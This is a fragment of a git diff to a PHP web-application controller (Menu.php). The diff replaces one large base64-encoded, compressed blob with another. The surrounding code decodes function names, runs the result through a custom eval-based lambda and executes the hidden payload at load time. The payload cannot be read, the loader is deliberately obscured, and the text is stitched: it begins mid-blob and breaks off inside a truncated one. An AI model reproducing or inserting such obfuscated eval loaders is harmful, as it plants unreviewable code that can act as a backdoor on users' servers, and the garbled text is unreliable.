/XI6/p4ZU8U3xeoBcCt6eSkLEd19T52j9bMw4Y+cyWlrveqdV/ztUCicyDxYcs5L/uEshQ4dgP5CfhELMNxc69G4v7xJ31rxjnEbVScBh7b9ry2fH6Mm82QX8fEuid62J/e06vpDAkjFPNmN7u+KGKJIsL3hAPeFluo38DdL/rdrUaY2+tdz/cQc5znX+L4UGal2tuIzvvp+YrR5IvXQG5H+Z5yKodiCyaBS5E773M25RmoBcWI+H8cp2GDzX1XQ87STEKnUx76/ZZDjny35vPdvVl6+r4d92zPZJAz0NlIGSktxFK2eUWnG8TfP3xnWrjm6ZgUSC3KK5GjaEXNO5/r3GTpIsfyG7eTkzxEz4JQPq8qa+7Dp+Wu864DuV/G7sweWKktG+2TcZDHG319GHct7hvNPl4p6uxy8Fj2DGtlD23tcJ/KcZ8Q+YtD69qPTGk1UE9OgF/oqf8IuXhuSfGU15Iqnd0nSSShvlSNsvJL8q3X6izExxP4MgX71rYU8+aHfJF6jsYDx7Kq5KRnV9rqLHvwnDK5pzOud3Imev4Ftc5rufxbZxQr8mmt/XVx4qyG+hwT4DnxJat46advyZ6eiBX8/EDz3FvOg9vzxeps4YfiSNXfNpNdnzav+rM3ZuVr0XjXW9Yl7qvElQU9i+Pz/CbK6hrvkT/rw2s5i8sCDner+WHzPHuqZKBnNCw+h25W9XWt83k1V1qdqeT+hnR2O7Lo/Qb8jrzeHtKzKKirCUev5qRv2I6eAxPcilcSn54zylqzrU+QTZlqz+hc53hu6BuYXwmvzq3M2ODUuV3VBzvdt+C5mY2aKSad89inoYals4e3+siod8Ap9pRhTZ6fIEZv+/z87Id4EfpldKZ98HmzDLitIno2oe4JdrYcTP2QoanID4bVut19p9DfoUm479dYcv9MbKdetPo1DgrUflkL+u8vfJWfV4B/+2LYNTZbft/qusfrCHoGsZlUeUC9F+SL4JQbS2gNXNHQrLTluvS7YJv43fzB2qrqER/WVuRzc8gwfe/MGni69vi5R/yaX2/PNmGjq181ZYr5DdhtcjpfBTe5Un+sVznn4VrUlzzBlzUf6Dxv571cXndwrCOPIFyLdR/zzfOh05j7AP8Le7zf4c92JVHRR73BnzPrEK7pulfyN557VTVaehx7Dvsq1Heqn/NwG1X9qkvIP1FrVXIgv6Pn7f4uGd5/1mFd9SV/pC5/p8bqGuv7077/XM8f8s5LPHygfq/x2czuu8aoPt99Ps+v1+FnWxbV4IibVDefyCHsUaYrQ2sYD07mKfy7t/Zy0GsCZpHXJYJV960Gr9RTdf9g4wG/L/ovfwazyCeor7XfL/szWKXnCJjan2jtRLlX+1nUrThGf+384KN4PpKP8zd40jer3GPk2BvopKCY+Gau9dyLONGzeubLknzu+8W3n376zz+Y/p3//Ll+9+9vP3L73r0fufFfuwV/vqD/X/z387Lnv+f3/+vv+R1i4ucDEFaQ+Pe3/wX/rbVC'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Menu.php b/donjo-app/controllers/Menu.php index b36badd35..ca3563a93 100644 --- a/donjo-app/controllers/Menu.php +++ b/donjo-app/controllers/Menu.php @@ -224,7 +224,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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